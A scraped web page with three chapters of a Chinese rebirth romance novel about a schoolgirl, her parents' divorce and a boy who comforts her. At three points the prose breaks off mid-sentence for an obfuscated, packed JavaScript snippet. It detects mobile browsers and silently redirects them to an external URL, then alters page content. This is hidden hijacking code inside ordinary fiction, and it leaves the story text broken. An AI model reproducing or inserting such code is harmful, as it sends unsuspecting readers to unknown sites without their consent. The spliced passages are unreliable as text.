高中生比大学生能积德的时间和机会少多了。这次重生后,她除了趁课间去其他班上收空瓶子以外,就没有太多时间做好人好事了。 现在真是天赐良机! 她拎着两个垃圾袋,左手垃圾袋是装垃圾的,比如地上的纸屑、散落的彩带和气球;右手垃圾袋则是装可回收品的,比如大家喝完不要的矿泉水瓶和易拉罐。 高中生的素质还是很高的,不乱丢垃圾,见林舒过来收空瓶子,都很热心地将自己的递给她。 “等,等我一下……”师弟仰头吨吨吨拼命喝水,争取让她多收一个瓶子。 “我教室里还有两个空的饮料瓶,你要的话我去拿下来。” “隔壁班买了一箱矿泉水,你去问问,准有收获。” …… 在可爱的学生们的热情帮助和引导下,林舒绕着操场走了两圈,左手垃圾袋没装多少,右手垃圾袋反而装得满满当当的,袋子往下坠碰到地面,她走起路不方便,就将它扛在肩上。 偌大的黑色垃圾袋将她的身体遮得严严实实,从背后看去像是垃圾袋上长了颗脑袋。 趁着现在没有跑步比赛,林舒想迅速穿过操场去对面,垃圾袋装得太满挡住她的视线,没留神刚好经过跳高区。 正好这个比赛的学生不会跳高,跳起来一脚踢飞杆子,杆子飞出正好戳中林舒扛在肩上的垃圾袋。 乒呤乓啷一顿响,空瓶子从破口处争先恐后涌出,在林舒脚边堆成一座小山。 背上的力道突然卸掉,林舒失去平衡,一屁股坐地上。 在众人惊呼声中,人群里有个身影迅速冲过来蹲下,声音焦急:“有没有受伤?” 说着,那人搭上她的肩膀,将她掰过来朝向自己。 林舒很自然地看向对面的人。 他逆着光,金色的光线勾勒出模糊的轮廓,五官融在疏浅的光晕中,看不清什么表情。 她就这么呆呆看着他,许是阳光太刺眼,竟觉得眼角潮潮的。 “林舒,”他不自觉地捏紧她的肩膀,只一秒便反应过来怕她会疼,立刻松开,“你有没有受伤?” 林舒回过神来,指了指心脏,笑道:“这里疼。” 陈彦森眼神一变,转过身背对着她,侧过头说:“上来,去校医室。” 林舒不为所动,反而逗他:“你背我啊?不是要跟我划清界限吗?” 他回过头,眉间压着担忧和隐忍,似有千言万语要说,最终说出口只有轻轻的三个字:“别任性。” 一瞬间,她有点恍惚。太像了,实在太像了,怎么会跟他这么像呢? 冷静,林舒。她摇了摇头试图让自己清醒,这个陈彦森不是你喜欢的陈彦森,你要分清楚。 她心里是这么想的,张嘴却是:“你好像很关心我。” 这话一出,她想咬舌自尽。 太骚了林舒,这话是怎么说得出口的? “看来是不疼了。”陈彦森松开手想要起身,却被林舒眼疾手快一把拉住。 一不做二不休,这骚话已经说了一句,就不怕再来一句,她泪眼汪汪:“陈彦森……” 被拉回原位的陈彦森注视着一脸可怜巴巴的女孩,终是叹了口气,拍了拍拽紧自己的手,“你等我一下。” 林舒看着他跑去操场的另一边跟清洁阿姨说了什么,回来时手上多了一个垃圾袋。 “谢谢。”她伸手去接。 谁知他并没有要交出的意思,而是蹲下捡起一个个瓶子往袋子里送。他的动作很快,不一会儿就收拾好了,在袋子顶部打了个结,甩在背上,问道:“这袋东西你打算送去哪?教室?宿舍?还是回收站?” “你这是要帮我送去的意思吗?”林舒眨眨眼。 陈彦森居高临下看她,不置可否。 “我要送去西沙村。”林舒起身,拍了拍身上的灰尘。 “西沙村?学校隔壁那条村?” “是。” “走。” 他没问为什么去那,没问要拿给谁,得到答案就转身向校门走去。他没有等她回答,也没有回头看她有没有跟上,似乎有足够信心身后的人会跟上。 她也确实跟在他身后。 两人一前一后走着,到了西沙村就调换了位置,林舒在前陈彦森在后,形成了莫名和谐的默契。 林舒轻车熟路来到一间平房前,抓着铁环敲了敲门:“李奶奶,我来啦。” 没有回应,她提高音量又喊了一声:“李奶奶!” “诶!来啦!”屋内传来一个老人的声音。紧接着,铁门被打开,露出一张布满岁月痕迹的脸庞,她笑得眼睛都眯起来,显得皱纹更深。 “快,快进来。”她拉着林舒的手,邀请她进屋。 林舒一边往里走,一边回头向陈彦森招手,示意他一起进来。 陈彦森犹豫了一下,跟着入内,顺手带上门。 屋内陈设简单,一个灶台,一个铁锅,一个压水井,一张木桌,一把椅子。他跟着两人穿过屋子,来到屋后的空地上,被眼前所见震住了。 空地不大,堆满了一摞摞的纸皮,与墙面齐高。另一面没有堆纸皮的墙边,摆放着一个个红白蓝编织袋,其中一个袋子没有拉拉链,露出里面的瓶瓶罐罐。 “来,给我。”林舒接过陈彦森背上的垃圾袋,敞开给李奶奶看,“李奶奶,这是我今天捡到的,明天还是校运会,我还可以继续捡。” “谢谢,谢谢乖孩子。”李奶奶颤巍巍地搬来两张椅子,“孩子们,快坐吧。” “奶奶,你坐,我不累。”林舒扶着李奶奶坐下,从垃圾袋里掏出一个矿泉水瓶,拧开瓶盖,扔到地上踩了一脚,弯腰拧上瓶盖,捡起已经被踩扁的瓶子扔进一旁的编织袋里。 几个动作一气呵成,动作娴熟,像是熟练的收废品人。 陈彦森目瞪口呆,还真不知道林舒还有这一面。 他当然不知道了,这其实是林舒第一世学会的技能。 第一世高三,丁敏在西沙村租了个房子陪读,林舒在这住了一年。她每天上学都会经过李奶奶屋前,一来二去就混熟了,有时候放学了就来李奶奶家里,帮她踩瓶子。 来的次数多了,跟李奶奶逐渐熟络起来,得知她的身世。 李奶奶今年75岁,曾经有一儿一女,儿子在五岁那年到河里玩水不幸溺亡,女儿十八岁的时候遭遇车祸离世,而她的老伴前两年也走了,独留她孤零零一人。 “我怎么称呼您?”林舒问。 “以前,他们都叫我阿乐妈。”奶奶陷入回忆中,眼神涣散,“后来,阿乐没了,他们叫我婷婷妈……再后来,再后来就是老王媳妇。” “那您姓什么?” “我?”奶奶有点意外,似乎是没想到她会这么问,“我姓李。” “那我以后叫您李奶奶,可好?” 混沌的双眼透着光:“好……好。” 林舒一直记着这件事,这次重生回到高中,她便趁课余时间收集瓶瓶罐罐,带去给李奶奶。 她一边踩瓶子,一边有一搭没一搭地跟李奶奶聊天。 陈彦森也加入,两个人干活速度快,没一会儿一袋瓶子都踩完了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114398|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李奶奶招呼他们坐下,“孩子们,来,喝点水。” “谢谢。”两人接过水杯。 李奶奶看着林舒喝完水,问道“孩子,是有什么心事吗?” “我?”林舒手指着自己,反问道。 “是啊,见你今天心事重重的。” “我没事。”林舒笑了笑,垂下眼眸。 李奶奶知道她不愿说,也不再追问,进屋里捣鼓了一阵,出来时手上拿着一盘糕点,是花瓣状的水晶糕。有一次林舒来帮忙的时候吃了一块,说好吃,她就记在心里。小姑娘来这里没有规律,她每天做一盘,无论她哪天来都能吃上。 “吃水晶糕咯!”李奶奶语气中带着孩子气的欢快,“热乎的,快尝一个!” 林舒看着摆在面前的水晶糕,眼眶酸涩难忍,憋在胸腔的情绪终于喷薄而出,眼泪不受控制地落下。她不想被陈彦森看见,第一时间背过身,捂住嘴,却发出低低的呜咽声。 人们说爱和咳嗽是控制不住的,其实流泪也是。 得知爸爸出轨,前几世的妈妈都忍下这口气继续与他生活,她的第一反应是愤怒,所以她挡在妈妈面前,跟爸爸发起激烈的争吵,为妈妈的付出鸣不平。现在离开家,一个人静下来,深藏在心底的情绪才慢慢浮上来。 怎么会不难过呢? 李奶奶用指腹轻轻摩挲着林舒的脸蛋,她干活干了几十年,手指起了老茧,但林舒并不觉得不舒服,反而觉得很温暖。 “好孩子,觉得不痛快就大声哭出来吧,奶奶陪着你。”李奶奶浑浊的眼睛透着温柔,似乎在说:慢慢说吧,孩子,没事,奶奶都听着。 “他们、他们要离婚了。”她哭得上气不接下气,说话都不连贯。 这些天来,林舒胸口堵着一口气,想要发泄无从宣泄,想要诉说不知说给谁听,毕竟大家都挺忙的,时间和情绪都是有限的,又如何开口让别人分一些给你。 现在终于有一个人愿意听,并且鼓励着自己开口,她感激地、急切地、磕磕巴巴地将事情讲出来。 李奶奶认真听完,问道:“你觉得你爸爸对你好吗?” 好。 三岁那年回老家,巷子里有动物粪便,她不愿跨过去,就这么干站着,林不帆二话不说背起她走过去。她的性格就是在这样的宠溺下形成的。 不愿意跨过去,爸爸会背起她;没有人逼她做不喜欢的事情,她永远随性做自己。即便是读书,也是她自愿的,他从来不会以自己辛勤工作来绑架她,要求她考取怎样的名次。 陈奕迅在给送给他女儿的歌里唱到:“时光会逼你这副万金之躯,竞逐世上各样乜乜之最,你若决定要做最尾一名绝对允许。” 林不帆也如此,只盼着她开心、快乐。 李奶奶说:“我们每个人都有自己的人生课题,不要参与到爸爸妈妈该不该离婚这件事当中去。这是他们要解决的课题。无论他们做什么决定,你都要尊重他们的决定。他们永远是你的父母。” “你爸爸对不起的是你妈妈,而不是你。作为爸爸,他尽了他的责任。” 林舒背过身哭的时候,陈彦森手足无措,想拿纸巾却不知道李奶奶家的纸巾放在哪,慌乱中把手缩起来留出一个空袖子,想着给她擦泪。后来听到她在说家事,觉得自己不适合留在这,默默走到门外。 空地离门口不过数步,女孩的哭声依旧清晰地传进他的耳朵里,他的心莫名牵扯着,疼痛不已。 过了好一会儿,哭声渐渐停下,传出断断续续的谈话声,再紧接着,大门被推开,林舒脸色苍白,从里面走出来。 她刚哭完,眼皮肿起,平日里好看的双眼皮变成三眼皮。 林舒推开门,一眼对上倚墙而站的陈彦森。 他穿着班服,一件薄薄的蓝色卫衣,就这么站在11月的户外,站在吹着烈风的巷子里。他的双颊被风刮得有些泛红,唇色也稍显苍白,一双眼紧紧盯牢她,似乎有很多话要说。 “你很冷吗?脸色这么差。”她说。 “你的脸色也好不到哪去。”论毒舌,他可不输。 52. 第五世(十五) 虽然本周举办了校运会,但是该来的测验并不会少。 周六中午,测验结束后,林舒在清点试卷,有同学喊她:“林舒,外面有人找你!” “哦,来啦——”她应着,抬起头。 在看到对方前,她以为是隔壁班语文课代表来找她,所以看到是陈彦森后,她很是惊讶。 她快步走到门口,“你找我?” “你这个周末回不回家?” 面前的男孩没什么表情,语气也很生硬,在旁人的角度看他很冷漠,还有点生气的味道,但如果你看他的眼睛—— 琥珀色瞳孔透着关切、担心、焦急、慌乱,多种复杂的情绪糅杂在一起倾泻而出,将她团团围住,为她筑起盾牌,抵御向她飞来的利箭。 但他只看着林舒,所以只有林舒知道他此刻所要表达的情感。 他在关心自己。 “回。”她回答。 “我陪你。” 林舒已经记不清他们多久没有一起放学回家,她以为再次坐在一起会不自在,但当陈彦森递出另一边耳机后,她的顾虑就消失了。 两人就这么坐在公交车后排,窗外景色不断倒退,车子就这么摇摇晃晃向前行驶,似乎会走到世界的末端。 到达目的地,下了车,林舒看着熟悉的街景,越往家走,步子越沉。 她挥挥手跟陈彦森告别,上楼,手搭在门把手上用力下按。 咔一声,她从未觉得开门需要这么大的力气和勇气。 门后,两人齐刷刷望过来。 大家都在。 林不帆坐在餐桌前,手里拿着报纸;丁敏则像往常一样,笑着迎来,接过她的书包,愉快地说:“回来啦!快去洗手吃饭。” 林舒看了丁敏一眼,又看了林不帆一眼,张了张嘴想说什么,最终还是没说,洗了手就坐在餐桌前。 她看了林不帆一眼,见他拿起筷子夹了块肉吃下,并没有抬眼要跟她说话的意思。这时丁敏夹了块肉放在她碗里,说道:“快吃吧。”林舒应了一声,收回目光,拿起筷子。 没有人再说话,餐桌上的三人就紧盯着自己面前那碗白米饭,时不时夹一些菜,克制的咀嚼声成为屋子里唯一的声音。 气氛压抑得可怕。 吃了几口,林舒实在受不了,把电视打开,调到新闻频道。声音传出的那一刻,她松了口气。 其实新闻主播讲了什么,她一个字都没听进去,依然埋着头专注自己面前那碗饭,但只要有一点其他声音盖住这尴尬的咀嚼声,似乎气氛就没那么压抑了。 饭后,林不帆收拾碗筷去洗碗,丁敏回房休息。林舒犹豫片刻,也跟着回房——自从上周他俩吵架,林舒把丁敏枕头拿到自己房间后,丁敏就一直睡她的房间。 “妈。”她站在门口,一时不知道说什么。 丁敏应了一声,也没有再说话。 还是林舒斟酌后开口问道:“你们谈得怎样了?” “小孩子不要管大人的事。”丁敏说,“你专心学习就好了,我们的事情我们自己会处理好的。” “处理?”林舒不禁提高音量,手指厨房的方向,“这就是你所说的处理吗?” “林舒,”丁敏看着她,眼神中尽是无奈,“这么多年来我都没有工作,现在手里没有钱,离婚后怎么带着你生活呢?” 林舒急了:“这个世界没有说少了谁就不能转的。把房子卖了,我们可以分到小几十万,我们在外面租个房子,你找份工作我们熬过这一年,等我高中毕业,成年了,我也可以出去打工赚钱。” “不,”丁敏摇头,“现在是你的关键时刻,你的首要任务就是好好学习,我们的事情你不要操心这么多。” “妈!” “你去写作业吧,”丁敏下逐客令,“妈妈要休息一下。” 林舒心中不忿,张嘴还想说什么,房门却在面前被关上,连带着那未说出口的话也被堵住,不甘心地落回肚子里。 她低着头回到客厅,在茶几上摊开作业本,这时林不帆洗完碗从厨房走出来,两人自今天碰面以来第一次对视。 他脸上长皱纹了,也对,他今年……43岁,早就长皱纹了,只是因为她重生回来,看到年轻了十年的他,总觉得他很年轻,是个年轻有活力的小伙子。 这一对视,两人眼睛里都有很多话想说,却一时不知道说什么、还能说吗? 两人就这么定定地对视着,在林舒打算收回目光的前一刻,林不帆张嘴:“爸爸错了。” 林舒愕然,目光停留。 林不帆继续说:“我已经跟她断了。” 电光火石间,林舒明白丁敏为什么不离婚了。 为了维系这个家,她原谅了这个做错事但最终选择回归家庭的男人,这是这个年代绝大多数女人都会做的选择。尤其是被迫成为家庭主妇、与社会脱节、早已失去一技之长的女人。 林舒抿着唇,低下头不说话。 林不帆垂手等了一会,见她没有要说话的意思,就开门出去上班。 铁门关上,钥匙扭动门锁,她侧耳听着门外脚步声渐行渐远,强忍着的泪扑簌落下。 她想起有一次,丁敏去散步没带手机,很晚没回家。林不帆很着急地去找,发现她在江边跟别人聊天正开心。 “当时他脸色不太好看,我跟在他后面回家一句话都不敢说。”丁敏说起这件事的时候,脸上洋溢着幸福的笑容。 这是被在乎的感觉。 他们也曾有感情好的时候。 可现在,破镜还能重圆吗?破镜还有必要重圆吗? 现在客厅里只剩她一人,很安静,没有人打扰她写作业,但是她看着面前的作业本,根本不想动笔。 手机在这时震动了一下。 高二开学前,林不帆给她买了智能手机,她终于可以在手机上登录微信了。 是陈彦森给她发来消息:【看楼下。】 林舒:【?】 但还是将信将疑地走去阳台,往下看,竟看见陈彦森站在楼下,抬头朝她挥了挥手。 手机再次震动,陈彦森:【要去图书馆写作业吗?】 林舒:【去。】 不得不说,他这个主意挺好的。坐在图书馆里,听着馆内轻柔的笔触刷刷声,内心会出奇地平静,很自然地就融入其中。 到了晚饭时间,他们去附近饭店吃东西,林舒胃口不佳,只要了一碗红豆沙。她低着头,专心致志地盯着手中的勺子,一勺一勺往嘴里送,似乎吃完这碗红豆沙才是头等大事,自然也就不知道身旁的男生一直看着自己。 两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118024|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从见面一起图书馆,从图书馆出来到饭店,在饭店吃东西,进行的对话都很简洁。 “走吧,去图书馆。” “嗯。” “一起吃晚饭吗?” “嗯。” “你想吃什么?” “随便。” “你点哪个?” “这个。” 如无意外,解决完晚饭的他们待会就是各回各家了,林舒走的方向也确实是她家的方向,突然被叫住时有点意外。 她回头看陈彦森,用眼神询问:怎么了? 陈彦森问:“要去琴行吗?” “琴行?”林舒轻皱眉头,不知他为何意。 “对。”他没有说为什么要去,去干嘛,就只是这么应了一声。 林舒:“我不会弹琴。” “我会。” “所以呢?”林舒今天心情真的很一般,等了半天没等到对方回应,正准备转身走时终于听到他说:“你想听什么,我都弹给你听。” 她错愕地回过头,见他站得笔直,橙黄色的路灯将他全身包裹住,像坚定的锡兵。 在安徒生童话里,这个单腿小锡兵即使被吹进火堆里,炽热的火焰包裹着他的身体,他依旧一动不动,呆呆望着喜欢的姑娘。 鬼使神差地,她想起那次在江边向九年未见的他说着自己重生的故事,如此荒诞的事情让她觉得难以启齿,但他居然说相信她。 两个身影渐渐重叠,合为一体。 虽然之前自我告诫过要远离他,也一直提醒自己要分清此陈彦森非彼陈彦森,但是这个长得跟他一模一样的人站在她面前,让她如何保持理智? 她眼睛有些潮湿,声音沙哑:“好。” 陈彦森带她去的琴房离这不远,两人走了一小段路就到。 他先是把窗户打开通风,接着到外面搬来椅子示意林舒坐下,最后才坐在钢琴前,问道:“想听什么?” 林舒:“想听高一暖场的那首。” 他看起来有些错愕:“这么久的事情你还记得啊。” “也不是每个人的事情我都记得。”林舒语气很淡,脸上没有表情。 “我会误会的。” “你没误会,就是你想的那个意思。” 陈彦森侧头看她一眼,但她有点读不懂这个眼神。她以为他会惊讶,或者不知所措,但他没有,他的眼神里有一种......怎么说呢,悲伤? 只一眼,他便收回目光,双手落在琴键上。 熟悉的琴声自熟悉的双手下流淌而出,但弹琴者不再是她所熟悉的那个人,巨大的反差让她眼眶发酸。她不想被他看到自己掉眼泪,转身背对着他。 她就这么背对着他,听他弹第二遍,第三遍,当她以为要结束了,结果他又弹第四遍。 最后一个音符接第一个音符中间没有过多停顿,他将一首不到三分钟的钢琴曲延长至三十分钟。 数不清这是他弹第几遍了,她觉得自己再不开口的话他可能真的会一直弹下去,弹到他八十岁,老了,弹不动了才会停下。 “陈彦森,”她起身,泪痕干成一道道印子,“很晚了,我们回家吧。” 他收起打算要接着弹前奏的手,顺从地跟着起身,顺从地跟着她的话往下说:“我们回家。” 53. 第五世(十六) 南苑的冬季虽然在零度以上,但是湿冷的风无孔不入,想方设法地从袖口、裤管、毛衣的空隙里钻入,穿透你的皮肤,直抵骨髓。 林舒身上还穿着白天穿的校服,单薄的校服外套根本抵不住夜间温度骤降下的寒风,她整个人缩起来,走到陈彦森身后。 陈彦森回头瞥她一眼:“拿我挡风?” “是又怎样?你比我高又比我壮,挡挡风怎么……” “了”字尚未说出,她身上多了一件外套。 “谁叫你晚上就吃一碗红豆沙的?吃那么点东西,你不冷谁冷?”陈彦森嘴上是这么说,手上却将衣服笼了笼,将林舒的身子裹住。 林舒像被点了穴一样呆呆站着,任由他折腾,突然开口问:“你相信人会重生吗?” “我相信。”他说着,又将自己的围巾取下给她围上。 围巾跟外套不一样,它用于裹在脖子上,与肌肤紧紧相贴,上面存留着人的体温。林舒一直觉得给别人戴上自己的围巾是一件很亲密的行为,而现在他就这么坦然地为她戴上。 她的脸有些发烫,不禁感谢这昏暗的路灯,让她的真实情感得以被隐藏。 围巾很暖,他的体温透过围巾传递到她身上,刚刚被冻得脑子都转不利索,现在觉得好多了。她笑了笑说:“你还没问我,那人是怎么重生的呢?” 陈彦森:“这个世界有很多事情都没办法用科学解释,发生任何事情都是有可能的。” 林舒:“你上次也是这么说的。” “上次?” “你刚刚不是相信人会重生吗?这是我的第四次重生了。上一次我说我重生了,你相信我。”林舒说,“怎么?这次不信我了?” 陈彦森看她一眼,没说话。 林舒自顾自往下说:“如果能重生,你想做什么?” 陈彦森:“你这样突然问,我一时不知道怎么回答你。那你呢?” 林舒:“前两次重生,我只想活下去;第三次重生,我想救下我最好的朋友;第四次重生,我有话想对一个人说。” 陈彦森:“那你对他说了吗?” 林舒:“见到他的那一刻,我觉得说不说已经不重要了。看到他好好的活着,一切都已经足够。” 陈彦森:“那除了这件事,你这次还有别的事情想做吗?” 林舒:“我想帮更多人,宋心悦,李奶奶,很多很多人,还有我妈妈。我想努力修正更多人的人生,让他们走向更好的道路,少吃一点苦。” “阿姨是选择不离婚吗?”他又连忙补充,“抱歉,那天我离开前听到一些。” “没关系,你能听到是因为我不介意你知道。”她直视前方,步子和说话都缓,“其实那天离开家的时候,我就有预感她不会离婚,她是为了我,她怕生活发生变化影响我学习,怕我失去房子这个后盾,怕我失去一直渴望的完整的家,怕我未来的生活条件会变差。但她不相信,我是真心希望她离婚的。她担心的这些,我可以通通不要。没有什么比她的幸福和快乐更重要。” “其实,”陈彦森张嘴,吐出一团雾气,“你打心底里是不希望他们离婚的,对吗?” “你什么意思?”林舒停下,声音因情绪激动而发抖。 陈彦森也跟着停下,看着她,语气不急不徐:“阿姨是最了解你的人,她知道你渴望完整的家,希望他们不要分开,所以她选择不离婚。” “才不是!”林舒大叫,用力推他一把,“我一直叫她离婚离婚离婚,我说我不稀罕这房子,把房子给卖了,我们拿着钱去外面租房子住。我就不信了,我们有手有脚,难不成还能饿死吗?” “你不稀罕这房子,但你稀罕这房子里的这个家。”陈彦森刚刚被她推得向后退,现在又向她走近几步。 “我没有!我说了,我没有!”林舒恼羞成怒,愤怒地失去理智,抡起拳头重重砸在对方的胸脯上,“你凭什么这么说!你很了解我吗!” 陈彦森站着不动,任由她打骂。 “我支持她离婚的!”她的眼泪随着嘶吼掉下,身子失去平衡踉跄两步,“我是支持的,我一直都支持的。” 他连忙伸手护着她的身子,担心她会伤到自己。 林舒一遍遍吼着,声音渐渐嘶哑,整个人无力地跌坐在地上,喊不出声音了,只剩下低低的呜咽声。 陈彦森是对的。 今天中午回家,她看到林不帆在家的时候,第一反应不是愤怒,而是暗自松了口气。 当意识到自己最深层的想法竟是不希望爸妈离婚,她为自己的自私感到震惊和羞愧。 明明知道,前几世的妈妈默默忍下委屈,如她所愿给了她一个完整的充满爱的家;明明知道,她所以为的自己活在爱里,都是妈妈用血泪为她铸造了一座城池,她依然存有私心想要一个完整的家。 她真的无耻到极点。 所以,她逼着自己去跟父亲对抗,以最强的战斗力掩盖自己龌龊的真实想法。 她自以为藏得很好,却不知何时露出一小撮毛在外头,被陈彦森揪住轻轻往外一扯,她的整颗心被迫裸露在外。 凭什么?他算个什么东西? 此时她半个身子倚靠在陈彦森身上,后者半蹲着,温柔地攥着她的拳头。她抬起泪眼,嘴唇哆嗦:“你为什么不躲开?” 他的声音很轻,像雪花落在地上:“你不开心,你好像一直都不开心。” 林舒摇头,似在呓语:“我不知道重来一次的意义是什么,我本以为这一次我会更有经验,过得更好,但我没有想到,妈妈竟受着这样的委屈。” 陈彦森张开双臂抱着她,就像在那次雨夜中他抱着她一样,他说:“阿姨是成年人,你要尊重阿姨的选择。” “不……”林舒不停摇头。 “林舒,你帮不了所有人,不要背负别人的命运。”陈彦森抱得更紧了,“你无需修正所有人的人生,你的人生也很重要。” 林舒哭得整个人都虚脱了,任由陈彦森紧紧抱着自己,痛苦地闭上眼睛,选择将自己的感官收起,即使此刻火山爆发,地面裂开,洪水袭来也不打算躲藏。 因此,陈彦森将她背起时,她完全不作挣扎,像一个被掏空棉花的娃娃一样搭在他背上,灵魂飘去很远的地方。 陈彦森将她送到家门前,看着她进了门,锁上门,才转身下楼。 洗手间的灯亮着,里面传出水声,许是林舒的关门声惊动了里面的人,洗手间的门被打开一条缝,露出丁敏半张脸:“你回来啦。” 无论她多晚回家,家中总有一盏灯为她而亮,妈妈永远等她回来。过去她觉得这一切稀松平常,如今却心中一酸,眼泪险些又落下。 “嗯。”林舒点点头,不敢看她。 “桌上有水果,你饿了就吃点,妈妈快洗好了。”丁敏说完,重新把门关上。 桌上放着一盘切好的橙子,其中一块橙子上插 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122800|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着牙签。 她是一位一百分母亲。 林舒扔下书包,跌进沙发里。这时手机亮起,陈彦森的名字不断闪烁,她接起电话,无力地“喂”了一声。 “林舒,”他那边很安静,显得他的声音很清晰,“你刚刚问我,如果能重生,我会想做什么。我想,我现在有答案了。” 林舒握紧电话。 “我想按这一世的活法再活一遍。” 她不知道,说话者正站在她家楼下,仰头看着她家方向,喃喃说出这番话。 …… 丁敏洗完澡从洗手间走出来,客厅没有开灯,她以为林舒在房间写作业,顺手打开灯。 灯一亮,坐在茶几前的女孩仰起脸看向自己,一言不发。 她刚想开口说什么,一眼就看到茶几上摆着两份红本,本上面印着几个金漆大字:中华人民共和国不动产权证书。 林舒说:“妈妈,我想请您回答我一个问题。” 丁敏看着她,点了点头。 林舒:“如果不考虑我,您会选择离婚吗?” 回来的路上,她想了很多很多。 虽然李奶奶和陈彦森都说,父母的事情就让父母去解决,但既然丁敏做选择时首要考虑的是她,如果她坐视不管,那她的沉默就是帮凶。 丁敏在她面前坐下,握住她的手,发现她的手冰凉彻骨。她轻声问:“怎么又提起这件事呢?中午不是都谈好了吗?” “没有谈好,”林舒一张嘴,眼泪就不争气地掉下,“我不同意。” 丁敏叹了口气,擦去她眼角的泪,“你是希望妈妈离婚吗?” “我是希望你从自己的角度去考虑,而不是我。”林舒克制着心底涌起的酸楚,争取把话说完,“不要去考虑林舒是否想要一个完整的家,不要去考虑会否影响林舒学习,不要去考虑林舒将来是否需要这个房子。” “你是我的孩子,是我生命里最重要的人,我怎么能不考虑你呢?” “不对,不对,”林舒痛苦地摇头,“我只是您的孩子,您生命里最重要的不是我,是您自己。” 亲子是一对复杂又矛盾的关系。 孩子自诞生就意味着蚕食母亲。 胚胎时期,孩子向母体获取养分; 幼儿时期,孩子占据母亲所有时间和精力,甚至喜怒哀乐; 青少年时期,孩子逐渐步入小型社会学习技能,部分母亲会选择做家庭主妇,全身心照料孩子,而选择事业家庭两手抓的母亲绝大多数难以维持天平平衡,只能牺牲掉事业晋升,选择更多时间陪伴孩子成长; 成人时期,虽然这个时期的孩子可以独立挣钱、照顾自己,有的也有了自己的家,但母亲仍担心着孩子,时时操心。 因为多年操持家务、操心操劳,母亲不再是当年活泼机灵的小姑娘,白发攀上她的头顶,皱纹爬上她的眼尾,但她望向孩子的眼睛依然充满爱,内心依然为孩子牵肠挂肚。 母爱是伟大的,世人也热爱歌颂母爱伟大,认为母亲将孩子摆在生命第一顺位是一件理所当然的事情,因为这与伟大无私最贴合。 但是人之所以为人,首先得是成为完整的自己,有属于自己的人生,其次才是考虑他人。 林舒认同丁敏在考虑婚姻是否存续的时候将孩子纳入考虑范围,但孩子只会是其中一个考虑因素,而不是唯一。 林舒:“妈妈,您就问自己一句话,您想离婚吗?” 54. 第五世(十七) 进入高三,时间仿佛被按下加速键,生活和学习的时间被疯狂压缩,常常觉得只是低头做了一份卷子,外面的天怎么就变黑了呢? 这一世,林舒坚持没让丁敏过来租房子陪读,她相信凭着自己活了几世的意志力和生活技能一定能够应付过来,还是让丁敏去过她自己的生活吧。 那天彻夜谈心后,丁敏下定决心与林不帆结束这场婚姻,两人将房子卖了,丁敏拿着分到的45万,带着林舒住进隔壁小区。虽然小区比她们原来住的老旧一些,房子也稍显陈旧,但是经过她们一番清洁和装饰,这个小家也温馨起来。 而丁敏也重操旧业,做起服装生意。 年轻的时候,丁敏在洛宁街租了一个档口卖女装,生意做得很好,很多回头客。只是婚后为了照顾林舒,她没有继续这盘生意,口齿伶俐的小姑娘逐渐被埋没在日复一日的家务活中。 林舒鼓励丁敏拿这笔钱去创业。起初丁敏不愿意,她说:“创业有风险,万一赔了怎么办?” “谁说你一定就会赔的?你以前能成,那现在也一定能成。”林舒说,“你用心学会的技能是永远不会抛弃你的,它就一直存在于你的脑海中,等着有一天你需要它。” 在她的鼓励下,丁敏每天往批发市场跑,实地考察各街道人流,最后租下十几年前租过的店铺,开启创业生活。 两母女忙着各自的生活,竭尽全力地让自己变得更好。 上天自不会亏待努力生活的人,丁敏的服装生意渐渐进入正轨,林舒作为文科第一,在百日誓师大会上进行国旗下讲话。 “大家好,我是高三3班的林舒。这篇稿子我写了很久,也反复练习了手势、语气和停顿,希望可以感染到大家,让大家振奋起来。但刚刚拿起话筒的那一刻,我突然改变主意了。我说得再酣畅淋漓再激动人心,也许当下大家都是有被鼓舞到的,都会怀着‘我一定要拼命’的心情,可是一个小时后呢,一天后呢,一周后呢,这种心情还在吗? 所以,我希望大家可以问问自己:你想要过怎样的人生? 你想去哪个城市,你想读什么学校,你想读什么专业,你想从事什么行业?你想看怎样的世界? 如果你觉得这些都太遥远了,那我换一个问法:你想拥有更多选择吗? 没有人可以打包票说考多少分就能拥有怎样的人生,但如果你考高分,你的选择权无疑是更多的。你多考一分,你甩开的就是成百上千人,你就比这成百上千人多一点选择权。如果你不想自己的梦被踏碎,那就踏着别人的梦往上走。 残忍吗?残忍。公平吗?公平。 今天是高考倒计时100天。有人可能会说,就剩这100天,刨除吃饭睡觉和休息时间,真正能用于学习的时间能有多少呢?我落下的知识点还来得及学会吗?我怎么都背不下来的文言文还来得及啃下吗? 